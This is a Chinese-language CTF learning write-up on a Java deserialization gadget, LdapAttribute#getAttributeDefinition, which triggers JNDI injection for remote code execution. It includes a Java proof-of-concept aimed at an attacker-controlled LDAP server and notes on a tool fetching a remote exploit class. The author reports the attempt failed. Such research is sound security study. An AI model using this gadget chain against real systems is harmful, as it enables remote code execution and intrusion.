这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:
一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:
commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
但这些版本实际上反映的只是 ysoserial 作者在编写利用时用到的库版本,实际的影响范围可能并不局限于此。
基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有
TemplatesImpl
和JdbcRowSetImpl
:
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: 加载自定义的字节码并实例化,从而可执行任意 Java 代码
- com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: 触发 JNDI 注入,也可以执行任意 Java 代码
ysoserial CommonsBeanutils1 源码里采用的是 TemplatesImpl。但是其依赖特定的CommonsBeanutils1 版本。当CommonsBeanutils1 版本不适用时,就需要寻找基于这种CommonsBeanutils1 版本的新的gadget。
这个新的gadget
漏洞触发点:
com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
结合低版本的CommonsBeanutils
构造一条心的反序列化gadget。
看到这个地方,开始还以为触发点在
(DirContext)var1.lookup("AttributeDefinition/" + this.getID());
后来发现原来是在上一行代码触发的。
开始以为LDAP的JNDI注入的sink点(需要分析的最底层)在javax.naming.InitialContext#lookup
参考这篇文章,发现其实更深处调用的过程是:
javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......
理论上来说这过程中的任何一个点作为sink都可以?
如果能直接调用
com.sun.jndi.ldap.LdapCtx#c_lookup(Name var1, Continuation var2)
也能实现JNDI注入?
demo
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
// 适用于1.8、1.4
// 参考:[Real Wolrd CTF 3rd Writeup | Old System](https://mp.weixin.qq.com/s/ClASwg6SH0uij_-IX-GahQ)
public class LdapAttributePayload {
public static void main(String[] args) throws Exception {
// 构造反序列化payload
String ldapCtxUrl = "ldap://192.168.85.1:1389";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("f0uimq"));
// 触发
Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
getAttributeDefinitionMethod.setAccessible(true);
getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});
}
}
TODO
测试的时候,发现抛出了错误:
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at ysoserial.payloads.LdapAttributePayload.main(LdapAttributePayload.java:38)
Caused by: javax.naming.InvalidNameException: Invalid name: f0uimq; remaining name 'f0uimq'
at javax.naming.ldap.Rfc2253Parser.doParse(Rfc2253Parser.java:111)
at javax.naming.ldap.Rfc2253Parser.parseDn(Rfc2253Parser.java:70)
at javax.naming.ldap.LdapName.parse(LdapName.java:785)
at javax.naming.ldap.LdapName.<init>(LdapName.java:123)
at com.sun.jndi.ldap.LdapSearchEnumeration.<init>(LdapSearchEnumeration.java:52)
at com.sun.jndi.ldap.LdapCtx.searchAux(LdapCtx.java:1849)
at com.sun.jndi.ldap.LdapCtx.getSchemaEntry(LdapCtx.java:1676)
at com.sun.jndi.ldap.LdapCtx.getSchemaTree(LdapCtx.java:1589)
at com.sun.jndi.ldap.LdapCtx.c_getSchema(LdapCtx.java:1536)
at com.sun.jndi.toolkit.ctx.ComponentDirContext.p_getSchema(ComponentDirContext.java:439)
at com.sun.jndi.toolkit.ctx.PartialCompositeDirContext.getSchema(PartialCompositeDirContext.java:422)
at javax.naming.directory.InitialDirContext.getSchema(InitialDirContext.java:210)
at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
... 5 more
适用JNDI-Injection-Exploit
工具收到了jndi请求,准备去http://127.0.0.1:8180/ExecTemplateJDK8.class下载class文件:
但是并没有真正请求到class文件。开始以为是工具的原因,重新使用marshalsec和http服务搭建发现问题一样。不能访问class。
jdk使用的是1.8.0,用jdk7依然存在这个问题。
搜了一下没有找到原因。可能是对这个原理没理解清楚…//TODO
参考:
- https://stackoverflow.com/questions/30770344/add-user-to-ldap-using-java-naming-invalidnameexception-invalid-name
参考
- Real Wolrd CTF 3rd Writeup | Old System
- https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup
- https://github.com/welk1n/JNDI-Injection-Exploit